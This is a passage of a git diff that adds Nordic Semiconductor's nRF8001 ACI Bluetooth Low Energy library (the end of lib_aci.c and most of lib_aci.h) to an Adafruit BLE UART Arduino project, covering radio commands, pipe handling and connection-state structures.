aci_stat->aci_setup_info.number_of_pipes; + p_setup_msgs = aci_stat->aci_setup_info.setup_msgs; + setup_msgs_count = aci_stat->aci_setup_info.num_setup_msgs; + + hal_aci_tl_init(); +} + + +uint8_t lib_aci_get_nb_available_credits(aci_state_t *aci_stat) +{ + return aci_stat->data_credit_available; +} + +uint16_t lib_aci_get_cx_interval_ms(aci_state_t *aci_stat) +{ + uint32_t cx_rf_interval_ms_32bits; + uint16_t cx_rf_interval_ms; + + cx_rf_interval_ms_32bits = aci_stat->connection_interval; + cx_rf_interval_ms_32bits *= 125; // the connection interval is given in multiple of 0.125 milliseconds + cx_rf_interval_ms = cx_rf_interval_ms_32bits / 100; + + return cx_rf_interval_ms; +} + + +uint16_t lib_aci_get_cx_interval(aci_state_t *aci_stat) +{ + return aci_stat->connection_interval; +} + + +uint16_t lib_aci_get_slave_latency(aci_state_t *aci_stat) +{ + return aci_stat->slave_latency; +} + + +bool lib_aci_set_app_latency(uint16_t latency, aci_app_latency_mode_t latency_mode) +{ + aci_cmd_params_set_app_latency_t aci_set_app_latency; + + aci_set_app_latency.mode = latency_mode; + aci_set_app_latency.latency = latency; + acil_encode_cmd_set_app_latency(&(msg_to_send.buffer[0]), &aci_set_app_latency); + + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_test(aci_test_mode_change_t enter_exit_test_mode) +{ + aci_cmd_params_test_t aci_cmd_params_test; + aci_cmd_params_test.test_mode_change = enter_exit_test_mode; + acil_encode_cmd_set_test_mode(&(msg_to_send.buffer[0]), &aci_cmd_params_test); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_sleep() +{ + acil_encode_cmd_sleep(&(msg_to_send.buffer[0])); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_radio_reset() +{ + acil_encode_baseband_reset(&(msg_to_send.buffer[0])); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_direct_connect() +{ + acil_encode_direct_connect(&(msg_to_send.buffer[0])); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_device_version() +{ + acil_encode_cmd_get_device_version(&(msg_to_send.buffer[0])); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_set_local_data(aci_state_t *aci_stat, uint8_t pipe, uint8_t *p_value, uint8_t size) +{ + aci_cmd_params_set_local_data_t aci_cmd_params_set_local_data; + + if ((p_services_pipe_type_map[pipe-1].location != ACI_STORE_LOCAL) + || + (size > ACI_PIPE_TX_DATA_MAX_LEN)) + { + return false; + } + + aci_cmd_params_set_local_data.tx_data.pipe_number = pipe; + memcpy(&(aci_cmd_params_set_local_data.tx_data.aci_data[0]), p_value, size); + acil_encode_cmd_set_local_data(&(msg_to_send.buffer[0]), &aci_cmd_params_set_local_data, size); + return hal_aci_tl_send(&msg_to_send); +} + +bool lib_aci_connect(uint16_t run_timeout, uint16_t adv_interval) +{ + aci_cmd_params_connect_t aci_cmd_params_connect; + aci_cmd_params_connect.timeout = run_timeout; + aci_cmd_params_connect.adv_interval = adv_interval; + acil_encode_cmd_connect(&(msg_to_send.buffer[0]), &aci_cmd_params_connect); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_disconnect(aci_state_t *aci_stat, aci_disconnect_reason_t reason) +{ + bool ret_val; + uint8_t i; + aci_cmd_params_disconnect_t aci_cmd_params_disconnect; + aci_cmd_params_disconnect.reason = reason; + acil_encode_cmd_disconnect(&(msg_to_send.buffer[0]), &aci_cmd_params_disconnect); + ret_val = hal_aci_tl_send(&msg_to_send); + // If we have actually sent the disconnect + if (ret_val) + { + // Update pipes immediately so that while the disconnect is happening, + // the application can't attempt sending another message + // If the application sends another message before we updated this + // a ACI Pipe Error Event will be received from nRF8001 + for (i=0; i < PIPES_ARRAY_SIZE; i++) + { + aci_stat->pipes_open_bitmap[i] = 0; + aci_stat->pipes_closed_bitmap[i] = 0; + } + } + return ret_val; +} + + +bool lib_aci_bond(uint16_t run_timeout, uint16_t adv_interval) +{ + aci_cmd_params_bond_t aci_cmd_params_bond; + aci_cmd_params_bond.timeout = run_timeout; + aci_cmd_params_bond.adv_interval = adv_interval; + acil_encode_cmd_bond(&(msg_to_send.buffer[0]), &aci_cmd_params_bond); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_wakeup() +{ + acil_encode_cmd_wakeup(&(msg_to_send.buffer[0])); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_set_tx_power(aci_device_output_power_t tx_power) +{ + aci_cmd_params_set_tx_power_t aci_cmd_params_set_tx_power; + aci_cmd_params_set_tx_power.device_power = tx_power; + acil_encode_cmd_set_radio_tx_power(&(msg_to_send.buffer[0]), &aci_cmd_params_set_tx_power); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_get_address() +{ + acil_encode_cmd_get_address(&(msg_to_send.buffer[0])); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_get_temperature() +{ + acil_encode_cmd_temparature(&(msg_to_send.buffer[0])); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_get_battery_level() +{ + acil_encode_cmd_battery_level(&(msg_to_send.buffer[0])); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_send_data(uint8_t pipe, uint8_t *p_value, uint8_t size) +{ + bool ret_val = false; + aci_cmd_params_send_data_t aci_cmd_params_send_data; + + + if(!((p_services_pipe_type_map[pipe-1].pipe_type == ACI_TX) || + (p_services_pipe_type_map[pipe-1].pipe_type == ACI_TX_ACK))) + { + return false; + } + + if (size > ACI_PIPE_TX_DATA_MAX_LEN) + { + return false; + } + { + aci_cmd_params_send_data.tx_data.pipe_number = pipe; + memcpy(&(aci_cmd_params_send_data.tx_data.aci_data[0]), p_value, size); + acil_encode_cmd_send_data(&(msg_to_send.buffer[0]), &aci_cmd_params_send_data, size); + is_cmd_response_expected = false; + ret_val = hal_aci_tl_send(&msg_to_send); + } + return ret_val; +} + + +bool lib_aci_request_data(aci_state_t *aci_stat, uint8_t pipe) +{ + bool ret_val = false; + aci_cmd_params_request_data_t aci_cmd_params_request_data; + + if(!((p_services_pipe_type_map[pipe-1].location == ACI_STORE_REMOTE)&&(p_services_pipe_type_map[pipe-1].pipe_type == ACI_RX_REQ))) + { + return false; + } + + + { + + { + + + + aci_cmd_params_request_data.pipe_number = pipe; + acil_encode_cmd_request_data(&(msg_to_send.buffer[0]), &aci_cmd_params_request_data); + + ret_val = hal_aci_tl_send(&msg_to_send); + } + } + return ret_val; +} + + +bool lib_aci_change_timing(uint16_t minimun_cx_interval, uint16_t maximum_cx_interval, uint16_t slave_latency, uint16_t timeout) +{ + aci_cmd_params_change_timing_t aci_cmd_params_change_timing; + aci_cmd_params_change_timing.conn_params.min_conn_interval = minimun_cx_interval; + aci_cmd_params_change_timing.conn_params.max_conn_interval = maximum_cx_interval; + aci_cmd_params_change_timing.conn_params.slave_latency = slave_latency; + aci_cmd_params_change_timing.conn_params.timeout_mult = timeout; + acil_encode_cmd_change_timing_req(&(msg_to_send.buffer[0]), &aci_cmd_params_change_timing); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_change_timing_GAP_PPCP() +{ + acil_encode_cmd_change_timing_req_GAP_PPCP(&(msg_to_send.buffer[0])); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_open_remote_pipe(aci_state_t *aci_stat, uint8_t pipe) +{ + bool ret_val = false; + aci_cmd_params_open_remote_pipe_t aci_cmd_params_open_remote_pipe; + + if(!((p_services_pipe_type_map[pipe-1].location == ACI_STORE_REMOTE)&& + ((p_services_pipe_type_map[pipe-1].pipe_type == ACI_RX)|| + (p_services_pipe_type_map[pipe-1].pipe_type == ACI_RX_ACK_AUTO)|| + (p_services_pipe_type_map[pipe-1].pipe_type == ACI_RX_ACK)))) + { + return false; + } + + + { + + is_request_operation_pending = true; + is_open_remote_pipe_pending = true; + request_operation_pipe = pipe; + aci_cmd_params_open_remote_pipe.pipe_number = pipe; + acil_encode_cmd_open_remote_pipe(&(msg_to_send.buffer[0]), &aci_cmd_params_open_remote_pipe); + ret_val = hal_aci_tl_send(&msg_to_send); + } + return ret_val; +} + + +bool lib_aci_close_remote_pipe(aci_state_t *aci_stat, uint8_t pipe) +{ + bool ret_val = false; + aci_cmd_params_close_remote_pipe_t aci_cmd_params_close_remote_pipe; + + if((p_services_pipe_type_map[pipe-1].location == ACI_STORE_REMOTE)&& + ((p_services_pipe_type_map[pipe-1].pipe_type == ACI_RX)|| + (p_services_pipe_type_map[pipe-1].pipe_type == ACI_RX_ACK_AUTO)|| + (p_services_pipe_type_map[pipe-1].pipe_type == ACI_RX_ACK))) + { + return false; + } + + + { + + is_request_operation_pending = true; + is_close_remote_pipe_pending = true; + request_operation_pipe = pipe; + aci_cmd_params_close_remote_pipe.pipe_number = pipe; + acil_encode_cmd_close_remote_pipe(&(msg_to_send.buffer[0]), &aci_cmd_params_close_remote_pipe); + ret_val = hal_aci_tl_send(&msg_to_send); + } + return ret_val; +} + + +bool lib_aci_set_key(aci_key_type_t key_rsp_type, uint8_t *key, uint8_t len) +{ + aci_cmd_params_set_key_t aci_cmd_params_set_key; + aci_cmd_params_set_key.key_type = key_rsp_type; + memcpy((uint8_t*)&(aci_cmd_params_set_key.key), key, len); + acil_encode_cmd_set_key(&(msg_to_send.buffer[0]), &aci_cmd_params_set_key); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_echo_msg(uint8_t msg_size, uint8_t *p_msg_data) +{ + aci_cmd_params_echo_t aci_cmd_params_echo; + if(msg_size > (ACI_ECHO_DATA_MAX_LEN)) + { + return false; + } + + if (msg_size > (ACI_ECHO_DATA_MAX_LEN)) + { + msg_size = ACI_ECHO_DATA_MAX_LEN; + } + + memcpy(&(aci_cmd_params_echo.echo_data[0]), p_msg_data, msg_size); + acil_encode_cmd_echo_msg(&(msg_to_send.buffer[0]), &aci_cmd_params_echo, msg_size); + + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_bond_request() +{ + acil_encode_cmd_bond_security_request(&(msg_to_send.buffer[0])); + return hal_aci_tl_send(&msg_to_send); +} + +bool lib_aci_event_get(aci_state_t *aci_stat, hal_aci_evt_t *p_aci_evt_data) +{ + bool status; + status = hal_aci_tl_event_get((hal_aci_data_t *)p_aci_evt_data); + + /** + Update the state of the ACI witn the + ACI Events -> Pipe Status, Disconnected, Connected, Bond Status, Pipe Error + */ + { + aci_evt_t * aci_evt; + + aci_evt = &p_aci_evt_data->evt; + + switch(aci_evt->evt_opcode) + { + case ACI_EVT_PIPE_STATUS: + { + uint8_t i=0; + + for (i=0; i < PIPES_ARRAY_SIZE; i++) + { + aci_stat->pipes_open_bitmap[i] = aci_evt->params.pipe_status.pipes_open_bitmap[i]; + aci_stat->pipes_closed_bitmap[i] = aci_evt->params.pipe_status.pipes_closed_bitmap[i]; + } + } + break; + + case ACI_EVT_DISCONNECTED: + { + uint8_t i=0; + + for (i=0; i < PIPES_ARRAY_SIZE; i++) + { + aci_stat->pipes_open_bitmap[i] = 0; + aci_stat->pipes_closed_bitmap[i] = 0; + } + aci_stat->confirmation_pending = false; + aci_stat->data_credit_available = aci_stat->data_credit_total; + + } + break; + + case ACI_EVT_TIMING: + aci_stat->connection_interval = aci_evt->params.timing.conn_rf_interval; + aci_stat->slave_latency = aci_evt->params.timing.conn_slave_rf_latency; + aci_stat->supervision_timeout = aci_evt->params.timing.conn_rf_timeout; + break; + + + } + + } + + return status; +} + + +bool lib_aci_send_ack(aci_state_t *aci_stat, const uint8_t pipe) +{ + bool ret_val = false; + { + acil_encode_cmd_send_data_ack(&(msg_to_send.buffer[0]), pipe); + is_cmd_response_expected = false; + ret_val = hal_aci_tl_send(&msg_to_send); + } + return ret_val; +} + + +bool lib_aci_send_nack(aci_state_t *aci_stat, const uint8_t pipe, const uint8_t error_code) +{ + bool ret_val = false; + + { + is_cmd_response_expected = false; + acil_encode_cmd_send_data_nack(&(msg_to_send.buffer[0]), pipe, error_code); + ret_val = hal_aci_tl_send(&msg_to_send); + } + return ret_val; +} + + +bool lib_aci_broadcast(const uint16_t timeout, const uint16_t adv_interval) +{ + aci_cmd_params_broadcast_t aci_cmd_params_broadcast; + if (timeout > 16383) + { + return false; + } + + // The adv_interval should be between 160 and 16384 (which translates to the advertisement + // interval values 100 ms and 10.24 s. + if ((160 > adv_interval) || (adv_interval > 16384)) + { + return false; + } + + aci_cmd_params_broadcast.timeout = timeout; + aci_cmd_params_broadcast.adv_interval = adv_interval; + acil_encode_cmd_broadcast(&(msg_to_send.buffer[0]), &aci_cmd_params_broadcast); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_open_adv_pipes(const uint8_t * const adv_service_data_pipes) +{ + uint8_t i; + + for (i = 0; i < PIPES_ARRAY_SIZE; i++) + { + aci_cmd_params_open_adv_pipe.pipes[i] = adv_service_data_pipes[i]; + } + + acil_encode_cmd_open_adv_pipes(&(msg_to_send.buffer[0]), &aci_cmd_params_open_adv_pipe); + return hal_aci_tl_send(&msg_to_send); +} + +bool lib_aci_open_adv_pipe(const uint8_t pipe) +{ + uint8_t byte_idx = pipe / 8; + + aci_cmd_params_open_adv_pipe.pipes[byte_idx] |= (0x01 << (pipe % 8)); + acil_encode_cmd_open_adv_pipes(&(msg_to_send.buffer[0]), &aci_cmd_params_open_adv_pipe); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_read_dynamic_data() +{ + acil_encode_cmd_read_dynamic_data(&(msg_to_send.buffer[0])); + return hal_aci_tl_send(&msg_to_send); +} + + +bool lib_aci_write_dynamic_data(uint8_t sequence_number, uint8_t* dynamic_data, uint8_t length) +{ + acil_encode_cmd_write_dynamic_data(&(msg_to_send.buffer[0]), sequence_number, dynamic_data, length); + return hal_aci_tl_send(&msg_to_send); +} + +bool lib_aci_dtm_command(uint8_t dtm_command_msbyte, uint8_t dtm_command_lsbyte) +{ + aci_cmd_params_dtm_cmd_t aci_cmd_params_dtm_cmd; + aci_cmd_params_dtm_cmd.cmd_msb = dtm_command_msbyte; + aci_cmd_params_dtm_cmd.cmd_lsb = dtm_command_lsbyte; + acil_encode_cmd_dtm_cmd(&(msg_to_send.buffer[0]), &aci_cmd_params_dtm_cmd); + return hal_aci_tl_send(&msg_to_send); +} + +void lib_aci_flush(void) +{ + m_aci_q_flush(); +} + +void lib_aci_debug_print(bool enable) +{ + hal_aci_debug_print(enable); +} + diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/lib_aci.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/lib_aci.h new file mode 100755 index 0000000..bb1bf16 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/lib_aci.h @@ -0,0 +1,507 @@ +/* Copyright (c) 2009 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRENTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ +/* Attention! +* To maintain compliance with Nordic Semiconductor ASA’s Bluetooth profile +* qualification listings, this section of source code must not be modified. +*/ + +#ifndef LIB_ACI_H__ +#define LIB_ACI_H__ + +/** @file +* @brief ACI library +*/ + +/** @addtogroup lib_aci +@{ +@brief Library for the logical part of the Application Controller Interface (ACI) +*/ + + +#include "hal_platform.h" +#include "hal/hal_aci_tl.h" +#include "aci.h" +#include "aci_cmds.h" +#include "aci_evts.h" + + + + +#define EVT_CMD_RESPONSE_MIN_LENGTH 3 + +#define PIPES_ARRAY_SIZE ((ACI_DEVICE_MAX_PIPES + 7)/8) + +/* Same size as a hal_aci_data_t */ +typedef struct hal_aci_evt_t{ + uint8_t debug_byte; + aci_evt_t evt; +} hal_aci_evt_t; + +typedef struct +{ + uint8_t location; /**< enum aci_pipe_store_t */ + aci_pipe_type_t pipe_type; +} services_pipe_type_mapping_t; + +typedef struct aci_setup_info_t +{ + services_pipe_type_mapping_t *services_pipe_type_mapping; + uint8_t number_of_pipes; + hal_aci_data_t *setup_msgs; + uint8_t num_setup_msgs; +} aci_setup_info_t; + +// aci_struct that will contain +// total initial credits +// current credit +// current state of the aci (setup/standby/active/sleep) +// open remote pipe pending +// close remote pipe pending +// Current pipe available bitmap +// Current pipe closed bitmap +// Current connection interval, slave latency and link supervision timeout +// Current State of the the GATT client (Service Discovery status) +// Relationship of bond to peer address +typedef struct aci_state_t +{ + aci_setup_info_t aci_setup_info; /* Data structures that are created from nRFgo Studio */ + uint8_t bonded; /* ( aci_bond_status_code_t ) Is the nRF8001 bonded to a peer device */ + uint8_t data_credit_total; /* Total data credit available for the specific version of the nRF8001, total equals available when a link is established */ + aci_device_operation_mode_t device_state; /* Operating mode of the nRF8001 */ + + /* Start : Variables that are valid only when in a connection */ + uint8_t data_credit_available; /* Available data credits at a specific point of time, ACI_EVT_DATA_CREDIT updates the available credits */ + + uint16_t connection_interval; /* Multiply by 1.25 to get the connection interval in milliseconds*/ + uint16_t slave_latency; /* Number of consecutive connection intervals that the nRF8001 is not required to transmit. Use this to save power */ + uint16_t supervision_timeout; /* Multiply by 10 to get the supervision timeout in milliseconds */ + + uint8_t pipes_open_bitmap[PIPES_ARRAY_SIZE]; /* Bitmap -> pipes are open and can be used for sending data over the air */ + uint8_t pipes_closed_bitmap[PIPES_ARRAY_SIZE]; /* Bitmap -> pipes are closed and cannot be used for sending data over the air */ + bool confirmation_pending; /* Attribute protocol Handle Value confirmation is pending for a Handle Value Indication + (ACK is pending for a TX_ACK pipe) on local GATT Server*/ + /* End : Variables that are valid only when in a connection */ + +} aci_state_t; + + + +#define DISCONNECT_REASON_CX_TIMEOUT 0x08 +#define DISCONNECT_REASON_CX_CLOSED_BY_PEER_DEVICE 0x13 +#define DISCONNECT_REASON_POWER_LOSS 0x14 +#define DISCONNECT_REASON_CX_CLOSED_BY_LOCAL_DEVICE 0x16 +#define DISCONNECT_REASON_ADVERTISER_TIMEOUT 0x50 + + +/** @name Functions for library management */ +//@{ + +/** @brief Function to enable printing of all ACI commands sent and ACI events received + * @details This function shall be used to enable or disable the debug printing. + Debug printing is disabled by default. + */ +void lib_aci_debug_print(bool enable); + +/** @brief Initialization function. + * @details This function shall be used to initialize/reset ACI Library and also Resets the nRF8001 by togging the reset pin of the nRF8001. This function will reset + * all the variables locally used by ACI library to their respective default values. + */ +void lib_aci_init(aci_state_t *aci_stat); + + +/** @brief Gets the number of currently available ACI credits. + * @return Number of ACI credits. + */ +uint8_t lib_aci_get_nb_available_credits(aci_state_t *aci_stat); + +/** @brief Gets the connection interval in milliseconds. + * @return Connection interval in milliseconds. + */ +uint16_t lib_aci_get_cx_interval_ms(aci_state_t *aci_stat); + +/** @brief Gets the connection interval in multiple of 1.25 ms. + * @return Connection interval in multiple of 1.25 ms. + */ +uint16_t lib_aci_get_cx_interval(aci_state_t *aci_stat); + +/** @brief Gets the current slave latency. + * @return Current slave latency. + */ +uint16_t lib_aci_get_slave_latency(aci_state_t *aci_stat); + +/** @brief Checks if a given pipe is available. + * @param pipe Pipe to check. + * @return True if the pipe is available, otherwise false. + */ +bool lib_aci_is_pipe_available(aci_state_t *aci_stat, uint8_t pipe); + +/** @brief Checks if a given pipe is closed. + * @param pipe Pipe to check. + * @return True if the pipe is closed, otherwise false. + */ +bool lib_aci_is_pipe_closed(aci_state_t *aci_stat, uint8_t pipe); + +/** @brief Checks if the discovery operation is finished. + * @return True if the discovery is finished. + */ +bool lib_aci_is_discovery_finished(aci_state_t *aci_stat); + + + +//@} + +/** @name ACI Commands available in all modes */ +//@{ + +/** @brief Sets the radio in sleep mode. + * @details The function sends a @c sleep command to the radio. + * If the radio is advertising or connected, it sends back an error, then use lib_aci_radio_reset + * if advertising or disconnect if in a connection. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_sleep(void); + +/** @brief Resets the radio. + * @details The function sends a @c BasebandReset command to the radio. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_radio_reset(void); + +/** @brief Radio starts directed advertising to bonded device. + * @details The function sends a @c DirectedConnect command to the radio. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_direct_connect(void); + +/** @brief Gets the radio's version. + * @details This function sends a @c GetDeviceVersion command. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_device_version(void); + +/** @brief Gets the device address. + * @details This function sends a @c GetDeviceAddress command. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_get_address(void); + +/** @brief Gets the temperature. + * @details This function sends a @c GetTemperature command. lib_aci + * calls the @ref lib_aci_transaction_finished_hook() function when the temperature is received. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_get_temperature(void); + +/** @brief Gets the battery level. + * @details This function sends a @c GetBatteryLevel command. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_get_battery_level(void); + +//@} + +/** @name ACI commands available in Sleep mode */ +//@{ + +/** @brief Wakes up the radio. + * @details This function sends a @c Wakeup command to wake up the radio from + * sleep mode. When woken up the radio sends a @c DeviceStartedEvent and + * a @c CommandResponseEvent. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_wakeup(void); + +//@} + +/** @name ACI commands available in Active mode */ +//@{ + +/** @brief Sets the radio in test mode. + * @details This function sends a @c Test command to the radio. There are two + * Test modes available: + * - UART: DTM commands are received over UART. + * - ACI: DTM commands are received over ACI. + * The same command is used to exit the test mode When receiving + * a @c DeviceStartedEvent the radio has entered the new mode. + * @param enter_exit_test_mode Enter a Test mode, or exit Test mode. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_test(aci_test_mode_change_t enter_exit_test_mode); + +/** @brief Sets the radio's TX power. + * @details This function sends a @c SetTxPower command. + * @param tx_power TX power to be used by the radio. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_set_tx_power(aci_device_output_power_t tx_power); + +/** @brief Tries to connect to a peer device. + * @details This function sends a @c Connect command to the radio. + * @param run_timeout Maximum advertising time in seconds (0 means infinite). + * @param adv_interval Advertising interval (in multiple of 0.625 ms). + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_connect(uint16_t run_timeout, uint16_t adv_interval); + +/** @brief Tries to bond with a peer device. + * @details This function sends a @c Bond command to the radio. + * @param run_timeout Maximum advertising time in seconds (0 means infinite). + * @param adv_interval Advertising interval (in multiple of 0.625 ms). + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_bond(uint16_t run_timeout, uint16_t adv_interval); + +/** @brief Disconnects from peer device. + * @details This function sends a @c Disconnect command to the radio. + * @param reason Reason for disconnecting. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_disconnect(aci_state_t *aci_stat, aci_disconnect_reason_t reason); + +/**@brief Sets Local Data. + * @details + * This command updates the value of the characteristic value or the characteristic descriptor stored locally on the device. + * Can be called for all types of pipes as long as the data is stored locally. + * @param ACI state structure + * @param pipe Pipe number on which the data should be set. + * @param value Pointer to the data to set. + * @param size Size of the data to set. + * @return True if the transaction is successfully initiated. +*/ +bool lib_aci_set_local_data(aci_state_t *aci_stat, uint8_t pipe, uint8_t *value, uint8_t size); + +/** @brief Sends Broadcast message to the radio. + * @details The Broadcast message starts advertisement procedure + * using the given interval with the intention of broadcasting data to a peer device. + * @param timeout Time, in seconds, to advertise before exiting to standby mode (0 means infinite). + * Valid values: 0 to 16383. + * @param adv_interval Advertising interval (in multiple of 0.625 ms). + * Valid values: 160 to 16384 (which corresponds to an interval from 100 ms to 10.24 s). + * @return True if the broadcast message is sent successfully to the radio. +*/ +bool lib_aci_broadcast(const uint16_t timeout, const uint16_t adv_interval); + +/** @name Open Advertising Pipes. */ + +/** @brief Sends a command to the radio to set the input pipe to be placed in Advertisement Service Data. + * @details This function sends a command to the radio that places the pipe in + * advertisement service data. To start advertising service data, call this function before + * Connecting, Broadcasting or Bonding to peer. The data that should be sent in the advertisement packets + * must be set using the @c lib_aci_set_local_data function. This function can be called during + * advertising to enable/disable broadcast pipes. + * @param pipe The pipe that has to be placed in advertising service data. + * @return True if the Open Adv Pipe message is sent successfully to the radio. +*/ +bool lib_aci_open_adv_pipe(const uint8_t pipe); + + +/** @name Open Advertising Pipes */ + +/** @brief Sends a command to the radio to set the pipes to be placed in Advertisement Service Data. + * @details This function will send a command to the radio that will set the pipes to be placed in + * advertisement Service Data. To start advertising service data, this function should be called before + * Connecting, Broadcasting or Bonding to peer. This function can be called during + * advertising to enable/disable broadcast pipes. Use this as an alternative to @ref lib_aci_open_adv_pipe + * to avoid multiple function calls for placing multiple pipes in the adv data. + * @param adv_service_data_pipes Pipe bitmap, where '1' indicates that the corresponding + * Valid Values: 0000000000000000 to FEFFFFFFFFFFFF7F (See the ACI Pipe Status Evt bitmap in the nRF8001 datasheet + * TX_BROADCAST pipe data is to be placed in Advertising Service Data fields + * @return true if the Open Adv Pipe message was sent successfully to the radio. +*/ +bool lib_aci_open_adv_pipes(const uint8_t * const adv_service_data_pipes); + + +//@} + +/** @name ACI commands available in Connected mode */ +//@{ + + +/** @brief Sets a given application latency. + * @details This function sends a @c setApplicationLatency command. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_set_app_latency(uint16_t latency, aci_app_latency_mode_t latency_mode); + +/** @brief Opens a remote pipe. + * @details This function sends an @c OpenRemotePipe command. + * @param pipe Number of the pipe to open. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_open_remote_pipe(aci_state_t *aci_stat, uint8_t pipe); + +/** @brief Closes a remote pipe. + * @details This function sends an @c CloseRemotePipe command. + * @param pipe Pipe number to close. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_close_remote_pipe(aci_state_t *aci_stat, uint8_t pipe); + +/** @brief Sends data on a given pipe. + * @details This function sends a @c SendData command with application data to + * the radio. This function memorizes credit use, and checks that + * enough credits are available. + * @param pipe Pipe number on which the data should be sent. + * @param value Pointer to the data to send. + * @param size Size of the data to send. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_send_data(uint8_t pipe, uint8_t *value, uint8_t size); + +/** @brief Requests data from a given pipe. + * @details This function sends a @c RequestData command to the radio. This + * function memorizes credit uses, and check that enough credits are available. + * After this command, the radio sends back either a @c DataReceivedEvent + * or a @c PipeErrorEvent. + * @param pipe Pipe number on which the data is requested. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_request_data(aci_state_t *aci_stat, uint8_t pipe); + +/** @brief Sends a L2CAP change connection parameters request. + * @details This function sends a @c ChangeTiming command to the radio. This command triggers a "L2CAP change connection parameters" request + * to the master. If the master rejects or accepts but doesn't change the connection parameters within + * 30 seconds, a timing event with the unchanged connection parameters is sent by the radio. + * If the request is accepted and the master changes connection parameters, a timing event with + * the new connection parameters is sent by the radio. + * If the master doesn't reply to the request within 60 seconds, the radio disconnects. + * @param minimun_cx_interval Minimum connection interval requested, in multiple of 1.25 ms. + * @param maximum_cx_interval Maximum connection interval requested, in multiple of 1.25 ms. + * @param slave_latency requested slave latency. + * @param timeout requested slave timeout, in multiple of 10 ms. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_change_timing(uint16_t minimun_cx_interval, uint16_t maximum_cx_interval, uint16_t slave_latency, uint16_t timeout); + +/** @brief Sends a L2CAP change connection parameters request with the connection predefined preffered connection parameters. + * @details This function sends a @c ChangeTiming command to the radio. This command triggers a "L2CAP change connection parameters" request + * to the master. If the master rejects or accepts but doesn't change the connection parameters within + * 30 seconds, a timing event with the unchanged connection parameters is sent by the radio. + * If the request is accepted and the master changes connection parameters, a timing event with + * the new connection parameters is sent by the radio. + * If the master doesn't reply to the request within 60 seconds, the radio disconnects. + * The timing parameters used are the Timing parameters in the GAP settings in the nRFgo Studio. + * The Timing parameters as stored as the GAP Preferred Peripheral Connection Parameters. + * @return True if the transaction is successfully initiated. + */ +bool lib_aci_change_timing_GAP_PPCP(void); + +/** @brief Sends acknowledgement message to peer. + * @details This function sends @c SendDataAck command to radio. The radio is expected + * to send either Handle Value Confirmation or Write response depending + * on whether the data is stored remotely or locally. + * @param pipe Pipe number for which the acknowledgement is to be sent. + * @return True if the ack was sent successfully. False otherwise. +*/ +bool lib_aci_send_ack(aci_state_t *aci_stat, const uint8_t pipe); + +/** @brief Sends negative acknowledgement message to peer. + * @details This function sends @c SendDataNack command to radio. The radio is expected + * to send Error Response to the peer. + * @param pipe Pipe number for which the nack is to be sent. + * @param error_code Error code to be sent in the NACk. + * @return True if the nack was sent successfully. False otherwise. +*/ +bool lib_aci_send_nack(aci_state_t *aci_stat, const uint8_t pipe, const uint8_t error_code); + +/** @brief Sends ReadDynamicData command to the host. + * @details This function sends @c ReadDynamicData command to host. The host is expected + * to send @c CommandResponse back with the dynamic data. The application is expected to + * call this function in a loop until all the dynamic data is read out from the host. + * As long as there is dynamic data to be read from the host, the command response + * for this message has its status field set to ACI_STATUS_TRANSACTION_CONTINUE (0x01). + * The application may chose to store this read out data in a non-volatile memory location + * and later chose to write it back using the function lib_aci_write_dynamic_data. + * @return True if the command was sent successfully through the ACI. False otherwise. +*/ +bool lib_aci_read_dynamic_data(void); + +/** @brief Sends WriteDynamicData command to the host. + * @details This function sends @c WriteDynamicData command to host. The host is expected + * to send @c CommandResponse with the status of this operation. As long as the status field + * in the @c CommandResponse is ACI_STATUS_TRANSACTION_CONTINUE (0x01), the hosts expects + * more dynamic data to be written. This function should ideally be called in a cycle, + * until all the stored dynamic data is sent to the host. This function should be + * called with the dynamic data obtained from the response to a @c ReadDynamicData + * (see @c lib_aci_read_dynamic_data) command. + * @param sequence_number Sequence number of the dynamic data to be sent. + * @param dynamic_data Pointer to the dynamic data. + * @param length Length of the dynamic data. + * @return True if the command was sent 